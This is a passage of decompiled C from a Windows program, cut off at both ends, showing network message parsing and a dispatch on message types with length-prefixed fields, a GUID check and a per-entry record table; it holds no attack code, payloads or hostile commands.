  v46 = &off_421518;
  v47 = 0;
  if ( !sub_4031A0(v28, (int)&v46) )
    goto LABEL_8;
  if ( v48 != 1 )
  {
    if ( v48 == 2 )
    {
      sub_4039B0((int)&v53);
      LOBYTE(v47) = 2;
      if ( sub_404830((int)&v54, (int)&v43) )
      {
        sub_401600(v17, -1, 0, (int)&v42);
        sub_401600(v17 + 28, -1, 0, (int)&v55);
        if ( (_BYTE)v56 == 1 )
        {
          if ( sub_4062A0((int)"{0946134E-4C7F-11D1-8222-444553540000}", (int)&v57)
            || sub_4062A0((int)"{0946134e-4c7f-11d1-8222-444553540000}", (int)&v57) )
            *(_DWORD *)(v17 + 64) = 3;
          else
            *(_DWORD *)(v17 + 64) = 1;
          v31 = v58;
          *(_DWORD *)(v17 + 56) = v59;
          *(_DWORD *)(v17 + 60) = v31;
          v39 = (int)&ST1C_4_0;
          sub_401900((int)&v42, (int)&ST1C_4_0);
          sub_414FD0((int)&v60, v38, ST1C_4_0, ST20_4_0, ST24_4_0, ST28_4_0, ST2C_4_0, ST30_4_0, v20, 1);
          sub_403A30((int)&v53);
          sub_403140((int)&v46);
          return 1;
        }
        if ( (_BYTE)v56 == -24 || (_BYTE)v56 == -23 || (_BYTE)v56 == -22 || (_BYTE)v56 == -21 || (_BYTE)v56 == -20 )
        {
          v32 = v56;
          v39 = (int)&ST1C_4_0;
          sub_401900((int)&v42, (int)&ST1C_4_0);
          sub_414FD0((int)&v60, v38, ST1C_4_0, ST20_4_0, ST24_4_0, ST28_4_0, ST2C_4_0, ST30_4_0, v20, v32);
          sub_403A30((int)&v53);
          goto LABEL_8;
        }
        if ( (_BYTE)v56 == 26 )
        {
          if ( sub_403E80((int)&v53) )
          {
            if ( !sub_419EC0((int)&v61, (int)&v42) )
            {
              v39 = (int)&ST20_4_0;
              sub_401900((int)&v42, (int)&ST20_4_0);
              sub_416EF0((int)&v60, v38, (void *)ST20_4_0, ST24_4_0, ST28_4_0, ST2C_4_0, ST30_4_0, v20, v21);
            }
          }
        }
      }
      sub_403A30((int)&v53);
      goto LABEL_8;
    }
    if ( v48 != 4 )
      goto LABEL_8;
    v50 = 15;
    v51 = 0;
    LOBYTE(v52) = 0;
    LOWORD(v49) = 257;
    LOBYTE(v47) = 3;
    if ( !sub_404B60((int)&v43, (int)&v62) )
    {
      if ( (unsigned int)v50 >= 0x10 )
        operator delete(v52);
      v50 = 15;
      v51 = 0;
      LOBYTE(v52) = 0;
      goto LABEL_8;
    }
    sub_401600(v17, -1, 0, (int)&v42);
    v23 = v17 + 28;
    sub_401600(v17 + 28, -1, 0, (int)&v52);
    v22 = v49;
    if ( (_BYTE)v49 == 4
      || (_BYTE)v49 == 6
      || (_BYTE)v49 == 7
      || (_BYTE)v49 == 8
      || (_BYTE)v49 == 9
      || (_BYTE)v49 == 12
      || (_BYTE)v49 == 13
      || (_BYTE)v49 == 14 )
    {
      v25 = sub_4185C0(1u, v17 + 28);
      if ( v25 != -1 )
      {
        sub_401850(v25, 0, v17 + 28);
        v17 = v39;
      }
      v22 = v49;
    }
    switch ( v22 )
    {
      case 6:
        v63 = &ST20_4_0;
        sub_401900(v23, (int)&ST20_4_0);
        LOBYTE(v47) = 4;
        v64 = &ST04_4_0;
        sub_401900(v39, (int)&ST04_4_0);
        v33 = *(int (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v38 + 24);
        LOBYTE(v47) = 3;
        v33(
          ST04_4_0,
          ST08_4_0,
          ST0C_4_0,
          ST10_4_0,
          ST14_4_0,
          ST18_4_0,
          ST1C_4_0,
          ST20_4_0,
          ST24_4_0,
          ST28_4_0,
          ST2C_4_0,
          ST30_4_0,
          ST34_4_0,
          v24);
        goto LABEL_57;
      case 7:
        v18 = 0;
        v64 = &ST1C_4_0;
        sub_401900(v23, (int)&ST1C_4_0);
        LOBYTE(v47) = 5;
        v63 = &ST00_4_0;
        sub_401900(v39, (int)&ST00_4_0);
        v34 = *(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v38 + 28);
        LOBYTE(v47) = 3;
        v34(
          v38,
          ST00_4_0,
          ST04_4_0,
          ST08_4_0,
          ST0C_4_0,
          ST10_4_0,
          ST14_4_0,
          ST18_4_0,
          ST1C_4_0,
          ST20_4_0,
          ST24_4_0,
          ST28_4_0,
          ST2C_4_0,
          ST30_4_0,
          ST34_4_0,
          0);
        if ( (unsigned int)v50 >= 0x10 )
          operator delete(v52);
        v50 = 15;
        goto LABEL_7;
      case 8:
        v64 = &ST1C_4_0;
        sub_401900(v23, (int)&ST1C_4_0);
        LOBYTE(v47) = 6;
        v63 = &ST00_4_0;
        sub_401900(v39, (int)&ST00_4_0);
        v35 = *(int (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v38 + 28);
        LOBYTE(v47) = 3;
        v35(
          ST00_4_0,
          ST04_4_0,
          ST08_4_0,
          ST0C_4_0,
          ST10_4_0,
          ST14_4_0,
          ST18_4_0,
          ST1C_4_0,
          ST20_4_0,
          ST24_4_0,
          ST28_4_0,
          ST2C_4_0,
          ST30_4_0,
          ST34_4_0,
          1);
        if ( (unsigned int)v50 < 0x10 )
          goto LABEL_60;
        operator delete(v52);
        v50 = 15;
        v51 = 0;
        LOBYTE(v52) = 0;
        goto LABEL_8;
      case 0xC:
        v64 = &ST20_4_0;
        sub_401900(v17, (int)&ST20_4_0);
        (*(int (__stdcall **)(int, int, int, unsigned int, unsigned int, int, int))(*(_DWORD *)v38 + 40))(
          ST20_4_0,
          ST24_4_0,
          ST28_4_0,
          ST2C_4_0,
          ST30_4_0,
          ST34_4_0,
          v24);
        if ( (unsigned int)v50 < 0x10 )
          goto LABEL_60;
        v26 = v52;
        goto LABEL_59;
      case 0x1A:
        sub_4039B0((int)&v65);
        LOBYTE(v47) = 7;
        sub_401600((int)&v66, -1, 0, v23);
        if ( sub_403E80((int)&v65) )
        {
          if ( sub_419EC0((int)&v67, (int)&v42) )
          {
            sub_403A30((int)&v65);
            if ( (unsigned int)v50 >= 0x10 )
            {
              v26 = v52;
              goto LABEL_59;
            }
          }
          else
          {
            v64 = &ST20_4_0;
            sub_401900((int)&v42, (int)&ST20_4_0);
            sub_416EF0((int)&v60, v38, (void *)ST20_4_0, ST24_4_0, ST28_4_0, ST2C_4_0, ST30_4_0, ST34_4_0, v27);
            sub_403A30((int)&v65);
            if ( (unsigned int)v50 >= 0x10 )
            {
              v26 = v52;
              goto LABEL_59;
            }
          }
        }
        else
        {
          sub_403A30((int)&v65);
LABEL_57:
          if ( (unsigned int)v50 >= 0x10 )
          {
            v26 = v52;
LABEL_59:
            operator delete(v26);
            goto LABEL_60;
          }
        }
LABEL_60:
        v50 = 15;
        v51 = 0;
        LOBYTE(v52) = 0;
        goto LABEL_8;
      default:
        if ( (unsigned int)v50 >= 0x10 )
          operator delete(v52);
        v50 = 15;
        v51 = 0;
        LOBYTE(v52) = 0;
        sub_403140((int)&v46);
        return 1;
    }
  }
  v18 = 0;
  v49 = 3;
  v50 = 15;
  v51 = 0;
  LOBYTE(v52) = 0;
  LOBYTE(v47) = 1;
  if ( !sub_4032A0((int)&v43, (int)&v49) )
  {
    if ( (unsigned int)v50 >= 0x10 )
      operator delete(v52);
    v50 = 15;
LABEL_7:
    v51 = v18;
    LOBYTE(v52) = v18;
    goto LABEL_8;
  }
  sub_401600(v17, -1, 0, (int)&v42);
  sub_401600(v17 + 28, -1, 0, (int)&v52);
  if ( (unsigned __int16)v49 )
  {
    if ( (unsigned __int16)v49 == 2 )
    {
      *(_DWORD *)(v17 + 64) = 2;
    }
    else
    {
      if ( (unsigned __int16)v49 != 3 )
      {
        sub_40D200((int)&v49);
LABEL_8:
        sub_403140((int)&v46);
        return 0;
      }
      *(_DWORD *)(v17 + 64) = 1;
    }
  }
  else
  {
    *(_DWORD *)(v17 + 64) = 0;
  }
  v30 = (unsigned int)v50 < 0x10;
  *(_WORD *)(v17 + 68) = HIWORD(v49);
  if ( !v30 )
    operator delete(v52);
  v50 = 15;
  v51 = 0;
  LOBYTE(v52) = 0;
  sub_403140((int)&v46);
  return 1;
}

//----- (00413E80) --------------------------------------------------------
char __userpurge sub_413E80<al>(int a1<ebx>, int a2, int a3)
{
  int v3; // eax@1
  int v4; // ecx@1
  char result; // al@2
  unsigned int v6; // edi@3
  int v7; // eax@5
  unsigned int v8; // ecx@6

  v3 = *(_DWORD *)a1;
  v4 = *(_DWORD *)(a1 + 4);
  if ( *(_DWORD *)a1 == v4 )
  {
    result = 0;
  }
  else
  {
    v6 = *(_BYTE *)v3;
    if ( v4 - v3 >= v6 + 1 )
    {
      setLoginHost((const void *)(v3 + 1), v6, a2);
      v7 = *(_DWORD *)a1;
      if ( *(_DWORD *)(a1 + 4) - *(_DWORD *)a1 >= v6 + 3
        && (v8 = htons_0(*(_WORD *)(v6 + v7 + 1)), *(_DWORD *)(a1 + 4) - *(_DWORD *)a1 >= v8 + v6 + 3) )
      {
        setLoginHost((const void *)(v6 + *(_DWORD *)a1 + 3), v8, a3);
        result = 1;
      }
      else
      {
        result = 0;
      }
    }
    else
    {
      result = 0;
    }
  }
  return result;
}

//----- (00413F00) --------------------------------------------------------
char __userpurge sub_413F00<al>(int a1<ebx>, int a2, int a3, int a4)
{
  int v4; // eax@1
  int v5; // ecx@1
  char result; // al@2
  unsigned int v7; // edi@3
  int v8; // eax@5
  unsigned int v9; // ecx@6

  v4 = *(_DWORD *)a1;
  v5 = *(_DWORD *)(a1 + 4);
  if ( *(_DWORD *)a1 == v5 )
  {
    result = 0;
  }
  else
  {
    v7 = *(_BYTE *)v4;
    if ( v5 - v4 >= v7 + 2 )
    {
      setLoginHost((const void *)(v4 + 1), v7, a2);
      *(_BYTE *)a4 = *(_BYTE *)(v7 + *(_DWORD *)a1 + 1);
      v8 = *(_DWORD *)a1;
      if ( *(_DWORD *)(a1 + 4) - *(_DWORD *)a1 >= v7 + 4
        && (v9 = htons_0(*(_WORD *)(v7 + v8 + 2)), *(_DWORD *)(a1 + 4) - *(_DWORD *)a1 >= v9 + v7 + 4) )
      {
        setLoginHost((const void *)(v7 + *(_DWORD *)a1 + 4), v9, a3);
        result = 1;
      }
      else
      {
        result = 0;
      }
    }
    else
    {
      result = 0;
    }
  }
  return result;
}

//----- (00413F90) --------------------------------------------------------
char __fastcall sub_413F90(int a1, int a2, int a3, int a4)
{
  int ST00_4_0; // ST00_4@0
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST14_4_0; // ST14_4@0
  int ST18_4_0; // ST18_4@0
  int ST20_4_0; // ST20_4@0
  int ST24_4_0; // ST24_4@0
  int ST28_4_0; // ST28_4@0
  int ST2C_4_0; // ST2C_4@0
  int ST30_4_0; // ST30_4@0
  int ST34_4_0; // ST34_4@0
  int ST3C_4_0; // ST3C_4@0
  int ST40_4_0; // ST40_4@0
  int ST44_4_0; // ST44_4@0
  int ST48_4_0; // ST48_4@0
  int v19; // eax@1
  int v20; // ecx@1
  int v21; // esi@1
  int v22; // ebx@2
  unsigned int v23; // edi@2
  int v24; // eax@3
  int v25; // edi@3
  signed int v26; // eax@4
  int v27; // ebx@4
  signed int v28; // edi@4
  signed int v29; // esi@4
  int v30; // ST38_4@4
  int v31; // ST3C_4@4
  int v32; // ST40_4@4
  int v33; // ST44_4@4
  int v34; // ST48_4@4
  int v35; // ST4C_4@4
  unsigned int v36; // ST50_4@4
  int v37; // ST54_4@7
  int v38; // eax@8
  signed int v39; // edi@8
  int v40; // esi@20
  int v41; // ST54_4@20
  int v42; // eax@21
  char *v43; // ecx@21
  int v44; // ecx@29
  int v45; // esi@33
  int v46; // esi@35
  int v47; // esi@40
  int v48; // eax@46
  char result; // al@67
  u_long v50; // ecx@69
  int v51; // ST54_4@4
  int v52; // eax@5
  u_long v53; // ST54_4@13
  int v54; // eax@20
  u_short v55; // cx@20
  int v56; // edx@21
  int v57; // ecx@21
  int v58; // eax@21
  int v59; // edx@21
  int v60; // edx@23
  int v61; // edx@25
  int v62; // esi@25
  int v63; // eax@25
  int v64; // ecx@25
  int v65; // eax@25
  char v66; // zf@31
  int v67; // ecx@33
  char v68; // zf@33
  int v69; // eax@35
  char v70; // zf@35
  int v71; // ecx@40
  char v72; // zf@40
  int v73; // eax@42
  char v74; // zf@42
  int (__thiscall *v75)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@50
  int v76; // ST54_4@50
  __time64_t v77; // qax@58
  int v78; // esi@58
  u_short v79; // ST54_2@58
  int v80; // eax@63
  int  s; // [sp+A4h] [bp+0h]@1
  unsigned int v82; // [sp+94h] [bp-10h]@1
  int v83; // [sp+34h] [bp-70h]@1
  int v85; // [sp+64h] [bp-40h]@1
  int v87; // [sp+30h] [bp-74h]@1
  int v88; // [sp+60h] [bp-44h]@1
  int v89; // [sp+70h] [bp-34h]@4
  u_long v90; // [sp+38h] [bp-6Ch]@4
  u_long v91; // [sp+58h] [bp-4Ch]@4
  u_long v92; // [sp+54h] [bp-50h]@4
  int v93; // [sp+5Ch] [bp-48h]@4
  int v94; // [sp+50h] [bp-54h]@4
  signed int v95; // [sp+68h] [bp-3Ch]@4
  signed int v96; // [sp+40h] [bp-64h]@7
  signed int v97; // [sp+44h] [bp-60h]@7
  signed int v98; // [sp+48h] [bp-5Ch]@7
  signed int v99; // [sp+A0h] [bp-4h]@7
  __int16 v100; // [sp+3Ch] [bp-68h]@7
  int v101; // [sp+78h] [bp-2Ch]@21
  int v102; // [sp+74h] [bp-30h]@21
  int v103; // [sp+7Ch] [bp-28h]@21
  int v104; // [sp+80h] [bp-24h]@21
  int v105; // [sp+6Ch] [bp-38h]@21
  signed int Src; // [sp+84h] [bp-20h]@28
  signed int v107; // [sp+88h] [bp-1Ch]@28
  signed int v108; // [sp+8Ch] [bp-18h]@28
  signed int v109; // [sp+90h] [bp-14h]@28
  int v110; // [sp+20h] [bp-84h]@28
  int v111; // [sp+24h] [bp-80h]@28
  int v112; // [sp+28h] [bp-7Ch]@28
  int *v113; // [sp+10h] [bp-94h]@50
  __time64_t v114; // [sp+14h] [bp-90h]@58

  v82 = (unsigned int)& s ^ dword_426018;
  v83 = a1;
  v85 = a3;
  v19 = *(_DWORD *)a4;
  v87 = a4;
  v20 = *(_DWORD *)(a4 + 4);
  v21 = a2;
  v88 = a2;
  if ( v19 == v20
    || (v23 = *(_BYTE *)v19, v22 = v23 + 1, v20 - v19 < v23 + 1)
    || (setLoginHost((const void *)(v19 + 1), v23, a2), v24 = *(_DWORD *)v87, v25 = v23 + 5, *(_DWORD *)(v87 + 4)
                                                                                           - *(_DWORD *)v87 < (unsigned int)(v22 + 4)) )
  {
LABEL_67:
    result = 0;
  }
  else
  {
    v89 = htons_0(*(_WORD *)(v24 + v22 + 2));
    *(_DWORD *)v83 = 0;
    v90 = 0;
    v91 = 0;
    v92 = 0;
    v93 = (int)&ST3C_4_0;
    LOBYTE(ST3C_4_0) = 0;
    v94 = v25;
    sub_401600((int)&ST3C_4_0, -1, 0, v21);
    v27 = v85;
    v26 = sub_40D3E0(v85, ST3C_4_0, ST40_4_0, ST44_4_0, ST48_4_0, 0, 0xFu, v51);
    v29 = v26;
    v28 = 0;
    v95 = v26;
    if ( v26 >= 0 )
    {
      v52 = 368 * v26;
      *(_BYTE *)(*(_DWORD *)(v27 + 8) + v52 + 104) = 0;
      *(_BYTE *)(*(_DWORD *)(v27 + 8) + v52 + 217) = 0;
      *(_BYTE *)(*(_DWORD *)(v27 + 8) + v52 + 218) = 0;
    }
    v85 = 0;
    v93 = (unsigned __int16)v89;
    if ( (signed int)(unsigned __int16)v89 > 0 )
    {
      while ( 1 )
      {
        v96 = v28;
        v97 = v28;
        v98 = v28;
        v99 = v28;
        if ( !sub_402630(v94, v87, (int)&v100) )
        {
          if ( v96 != v28 )
            operator delete(v96);
          goto LABEL_67;
        }
        v39 = v96;
        v38 = v97 - v96;
        v94 += v97 - v96 + 4;
        switch ( v100 )
        {
          case 6:
            if ( (unsigned int)v38 < 4 )
              goto LABEL_68;
            *(_DWORD *)v83 = htonl(*(_DWORD *)v96);
            break;
          case 0xC:
            if ( (unsigned int)v38 < 8 )
              goto LABEL_68;
            v53 = *(_DWORD *)(v96 + 4);
            v90 = *(_DWORD *)v96;
            v91 = htonl(v53);
            break;
          case 0xA:
            if ( (unsigned int)v38 < 4 )
              goto LABEL_68;
            v92 = *(_DWORD *)v96;
            break;
          default:
            if ( v100 == 29 )
            {
              if ( v29 < 0 )
                break;
              if ( (unsigned int)v38 < 0x14
                || (v40 = 368 * v29, *(_WORD *)(*(_DWORD *)(v27 + 8) + v40 + 106) = *(_WORD *)v96, v54 = *(_DWORD *)(v27 + 8), v55 = *(_WORD *)(v54 + v40 + 106), v89 = v40 + v54, *(_WORD *)(v89 + 106) = htons_0(v55), *(_BYTE *)(*(_DWORD *)(v27 + 8) + v40 + 108) = *(_BYTE *)(v39 + 2), *(_BYTE *)(v39 + 3) != 16) )
              {
LABEL_68:
                sub_406500((int)&v100);
                return 0;
              }
              v56 = *(_DWORD *)(v39 + 4);
              v57 = *(_DWORD *)(v39 + 12);
              v101 = *(_DWORD *)(v39 + 8);
              v58 = *(_DWORD *)(v27 + 8);
              v102 = v56;
              v59 = *(_DWORD *)(v39 + 16);
              v103 = v57;
              *(_BYTE *)(v58 + v40 + 104) = 1;
              v42 = *(_DWORD *)(v27 + 8) + v40 + 109;
              v104 = v59;
              v105 = 16;
              v43 = (char *)&v102 - v42;
              while ( *(_DWORD *)&v43[v42] == *(_DWORD *)v42 )
              {
                v60 = v105 - 4;
                v42 += 4;
                v105 -= 4;
                if ( (unsigned int)v60 < 4 )
                  goto LABEL_60;
              }
              v61 = v101;
              v62 = *(_DWORD *)(v27 + 8) + v40 + 109;
              v63 = v103;
              *(_DWORD *)v62 = v102;
              v64 = v104;
              *(_DWORD *)(v62 + 4) = v61;
              *(_DWORD *)(v62 + 8) = v63;
              v65 = v88;
              *(_DWORD *)(v62 + 12) = v64;
              v89 = (int)&ST3C_4_0;
              sub_401900(v65, (int)&ST3C_4_0);
              (*(int (__thiscall **)(int, int, int, int, int, int, unsigned int, int))(*(_DWORD *)v27 + 44))(
                v27,
                v31,
                v32,
                v33,
                v34,
                v35,
                v36,
                v41);
              goto LABEL_60;
            }
            if ( v100 == 25 )
            {
              if ( v29 < 0 )
                break;
              Src = -47607;
              v107 = -787382452;
              v108 = 1162093186;
              v109 = 21587;
              v110 = 0;
              v111 = 0;
              v112 = 0;
              LOBYTE(v99) = 1;
              if ( v38 )
              {
                v44 = v96 + 1;
                v105 = v96 + 1;
                v89 = ((unsigned int)(v38 - 1) >> 1) + 1;
                while ( 1 )
                {
                  BYTE2(Src) = *(_BYTE *)(v44 - 1);
                  BYTE3(Src) = *(_BYTE *)v44;
                  sub_41A9D0((int)&v82, (int)&v110, v111, &Src, v93);
                  v105 += 2;
                  v66 = v89-- == 1;
                  if ( v66 )
                    break;
                  v44 = v105;
                }
                v29 = v95;
              }
              v67 = *(_DWORD *)(v27 + 8);
              v45 = 368 * v29;
              v68 = *(_BYTE *)(v67 + v45 + 217) == 0;
              v105 = v67 + v45 + 217;
              if ( v68 )
                *(_BYTE *)v105 = sub_4173D0((int)&v110);
              v69 = *(_DWORD *)(v27 + 8);
              v70 = *(_BYTE *)(v69 + v45 + 218) == 0;
              v46 = v69 + v45 + 218;
              if ( v70 )
                *(_BYTE *)v46 = sub_417470((int)&v110);
              sub_405B20((int)&v110);
              goto LABEL_60;
            }
            if ( v100 == 13 )
            {
              if ( v29 < 0 )
                break;
              v71 = *(_DWORD *)(v27 + 8);
              v47 = 368 * v29;
              v72 = *(_BYTE *)(v71 + v47 + 217) == 0;
              v105 = v71 + v47 + 217;
              if ( v72 )
                *(_BYTE *)v105 = sub_4173D0((int)&v96);
              v73 = *(_DWORD *)(v27 + 8);
              v74 = *(_BYTE *)(v73 + v47 + 218) == 0;
              v89 = v73 + v47 + 218;
              if ( v74 )
                *(_BYTE *)v89 = sub_417470((int)&v96);
              if ( sub_417510((int)&v96) )
              {
                v89 = (int)&ST3C_4_0;
                sub_401900(v88, (int)&ST3C_4_0);
                sub_4175B0(v27, v31, v32, v33, v34, v35, v36, v37);
              }
              else
              {
                v48 = *(_DWORD *)(v27 + 8);
                if ( !*(_DWORD *)(v48 + v47 + 156) )
                {
                  if ( !sub_406110((int)byte_4212B9, v48 + v47 + 160)
                    && !sub_406110((int)byte_4212B9, *(_DWORD *)(v27 + 8) + v47 + 188) )
                  {
                    v39 = v96;
                    goto LABEL_60;
                  }
                  v39 = v96;
                }
                *(_DWORD *)(*(_DWORD *)(v27 + 8) + v47 + 156) = 0;
                sub_4011A0(byte_4212B9, *(_DWORD *)(v27 + 8) + v47 + 160);
                sub_4011A0(byte_4212B9, *(_DWORD *)(v27 + 8) + v47 + 188);
                v89 = (int)&ST3C_4_0;
                sub_401930(byte_4212B9, (int)&ST3C_4_0);
                LOBYTE(v99) = 2;
                v105 = (int)&ST20_4_0;
                sub_401930(byte_4212B9, (int)&ST20_4_0);
                LOBYTE(v99) = 3;
                v113 = &ST00_4_0;
                sub_401900(v88, (int)&ST00_4_0);
                v75 = *(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v27 + 48);
                LOBYTE(v99) = 0;
                v75(
                  v27,
                  ST00_4_0,
                  ST04_4_0,
                  ST08_4_0,
                  ST0C_4_0,
                  ST10_4_0,
                  ST14_4_0,
                  ST18_4_0,
                  0,
                  ST20_4_0,
                  ST24_4_0,
                  ST28_4_0,
                  ST2C_4_0,
                  ST30_4_0,
                  ST34_4_0,
                  v30,
                  v31,
                  v32,
                  v33,
                  v34,
                  v35,
                  v36,
                  v76);
              }
LABEL_60:
              v29 = v95;
              break;
            }
            if ( v100 == 3 )
            {
              if ( v29 >= 0 )
              {
                if ( (unsigned int)v38 >= 4 )
                {
                  v89 = *(_DWORD *)(v27 + 8) + 368 * v29;
                  *(_DWORD *)(v89 + 360) = htonl(*(_DWORD *)v96);
                }
              }
            }
            else
            {
              if ( v100 == 4 && v29 >= 0 && (unsigned int)v38 >= 2 )
              {
                v77 = time64(0);
                v78 = *(_DWORD *)(v27 + 8) + 368 * v29;
                v79 = *(_WORD *)v39;
                v114 = v77;
                *(_DWORD *)(v78 + 364) = (_DWORD)v114 - 60 * htons_0(v79);
                goto LABEL_60;
              }
            }
            break;
        }
        v99 = -1;
        if ( v39 )
          operator delete(v39);
        v80 = v85++ + 1;
        if ( v80 >= v93 )
        {
          v50 = v91;
          if ( v90 || v91 || v92 != v91 )
          {
            if ( v29 >= 0 )
            {
              if ( v90 )
                *(_DWORD *)(*(_DWORD *)(v27 + 8) + 368 * v29 + 92) = v90;
              if ( v50 )
                *(_DWORD *)(*(_DWORD *)(v27 + 8) + 368 * v29 + 96) = v50;
              if ( v92 )
                *(_DWORD *)(*(_DWORD *)(v27 + 8) + 368 * v29 + 100) = v92;
            }
          }
          break;
        }
        v28 = 0;
      }
    }
    result = 1;
  }
  return result;
}

//----- (004145B0) --------------------------------------------------------
char __thiscall sub_4145B0(int this, int a2)
{
  int v2; // eax@1
  int v3; // ebx@1
  int v4; // edi@1
  int v5; // esi@1
  __int64 v6; // qax@5
  int v7; // ebx@5
  int v8; // esi@6
  int v9; // eax@12
  int v10; // ebx@12
  unsigned int v11; // esi@12
  int v12; // ecx@13
  int v13; // eax@20
  unsigned int v14; // ecx@20
  int v15; // edi@20
  int v16; // edx@21
  int v17; // eax@28
  int v18; // edi@30
  unsigned int v19; // eax@41
  int v20; // ecx@41
  int v21; // edx@42
  int v22; // ebx@42
  char result; // al@54
  int v24; // ecx@55
  int v25; // ecx@1
  int v26; // edi@11
  int v27; // ecx@12
  signed int v28; // edx@12
  unsigned int v29; // eax@12
  char v30; // zf@12
  char v31; // zf@39
  int v32; // ecx@49
  signed int v33; // edx@53
  int v34; // edi@53
  int  s; // [sp+1F8h] [bp+0h]@1
  unsigned int v36; // [sp+1E4h] [bp-14h]@1
  int v37; // [sp+10h] [bp-1E8h]@1
  int v38; // [sp+Ch] [bp-1ECh]@1
  int v39; // [sp+14h] [bp-1E4h]@3
  signed int v40; // [sp+1C4h] [bp-34h]@4
  int v41; // [sp+1C0h] [bp-38h]@4
  int v42; // [sp+1B0h] [bp-48h]@4
  int v43; // [sp+1D4h] [bp-24h]@4
  int v44; // [sp+1D8h] [bp-20h]@4
  int v45; // [sp+1DCh] [bp-1Ch]@4
  signed int v46; // [sp+1F4h] [bp-4h]@4
  unsigned __int16 v47; // [sp+1ACh] [bp-4Ch]@4
  unsigned __int16 v48; // [sp+1D2h] [bp-26h]@5
  __int16 v49; // [sp+1D0h] [bp-28h]@5
  int v50; // [sp+1Ch] [bp-1DCh]@6
  __int16 v51; // [sp+1CCh] [bp-2Ch]@6
  __int16 v52; // [sp+54h] [bp-1A4h]@6
  __int16 v53; // [sp+1CEh] [bp-2Ah]@6
  __int16 v54; // [sp+74h] [bp-184h]@6
  char v55; // [sp+38h] [bp-1C0h]@6
  char v56; // [sp+58h] [bp-1A0h]@6
  char v57; // [sp+76h] [bp-182h]@6
  int v58; // [sp+18h] [bp-1E0h]@6
  signed int v59; // [sp+1A4h] [bp-54h]@20
  int v60; // [sp+1A0h] [bp-58h]@20
  int v61; // [sp+190h] [bp-68h]@20
  __int16 v62; // [sp+18Ch] [bp-6Ch]@20

  v36 = (unsigned int)& s ^ dword_426018;
  v2 = a2;
  v5 = this;
  v3 = 0;
  v4 = 0;
  v25 = *(_DWORD *)(a2 + 4) - *(_DWORD *)a2;
  v37 = v5;
  v38 = a2;
  if ( v25 )
  {
    while ( 1 )
    {
      v40 = 15;
      v41 = v3;
      LOBYTE(v42) = 0;
      v43 = v3;
      v44 = v3;
      v45 = v3;
      v46 = v3;
      if ( !sub_404C50((int)&v47, v2, v4) )
        break;
      *((_DWORD *)&v6 + 1) = v48;
      v7 = 0;
      v39 = v4 + v47 + v48 + 10;
      if ( !v49 )
      {
        *(_DWORD *)&v6 = &v50;
        sub_40A510(v6);
        LOBYTE(v46) = 1;
        sub_401600((int)&v50, -1, 0, (int)&v42);
        v52 = v51;
        v54 = v53;
        setLoginHost(byte_4212B9, 0, (int)&v55);
        setLoginHost(byte_4212B9, 0, (int)&v56);
        v8 = v43;
        v57 = 0;
        v58 = 0;
        if ( ((signed int)((unsigned __int64)(1717986919i64 * (v44 - v43)) >> 32) >> 3)
           + ((unsigned int)((unsigned __int64)(1717986919i64 * (v44 - v43)) >> 32) >> 31) )
        {
          do
          {
            if ( *(_WORD *)(v7 + v8) == 305 )
            {
              setLoginHost(
                *(const void **)(v7 + v8 + 4),
                *(_DWORD *)(v7 + v8 + 8) - *(_DWORD *)(v7 + v8 + 4),
                (int)&v55);
              v8 = v43;
            }
            if ( *(_WORD *)(v7 + v8) == 102 )
              v57 = 1;
            v26 = v58 + 1;
            v7 += 20;
            ++v58;
          }
          while ( v26 < ((signed int)((unsigned __int64)(1717986919i64 * (v44 - v8)) >> 32) >> 3)
                      + ((unsigned int)((unsigned __int64)(1717986919i64 * (v44 - v8)) >> 32) >> 31) );
        }
        v27 = *(_DWORD *)(v37 + 12) - *(_DWORD *)(v37 + 8);
        v10 = v37 + 8;
        v28 = (signed int)(v27 + ((unsigned __int64)(-1307163959i64 * v27) >> 32)) >> 8;
        v29 = (unsigned int)(v27 + ((unsigned __int64)(-1307163959i64 * v27) >> 32)) >> 31;
        v11 = 0;
        v30 = v28 + v29 == 0;
        v9 = v28 + v29;
        if ( v30 )
          goto LABEL_16;
        v12 = *(_DWORD *)v10 + 88;
        while ( *(_WORD *)v12 != v54 )
        {
          ++v11;
          v12 += 368;
          if ( v11 >= v9 )
            goto LABEL_16;
        }
        if ( (signed int)v11 < 0 )
LABEL_16:
          sub_417A60((int)&v50, v10);
        else
          sub_40D060((int)&v50, *(_DWORD *)v10 + 368 * v11);
        sub_40C880((int)&v50);
        v5 = v37;
        v7 = 0;
      }
      if ( v49 == 1 && v51 != (_WORD)v7 )
      {
        v59 = 15;
        v60 = v7;
        LOBYTE(v61) = v7;
        LOBYTE(v46) = 2;
        v62 = v51;
        sub_401600((int)&v61, -1, 0, (int)&v42);
        v15 = v5 + 24;
        v13 = (*(_DWORD *)(v5 + 28) - *(_DWORD *)(v5 + 24)) >> 5;
        v14 = 0;
        if ( !v13 )
          goto LABEL_24;
        v16 = *(_DWORD *)v15;
        v58 = *(_DWORD *)v15;
        while ( *(_WORD *)v16 != v62 )
        {
          ++v14;
          v16 += 32;
          if ( v14 >= v13 )
            goto LABEL_24;
        }
        if ( (signed int)v14 >= 0 )
        {
          v32 = v58 + 32 * v14;
          *(_WORD *)v32 = v62;
          sub_401600(v32 + 4, -1, 0, (int)&v61);
        }
        else
        {
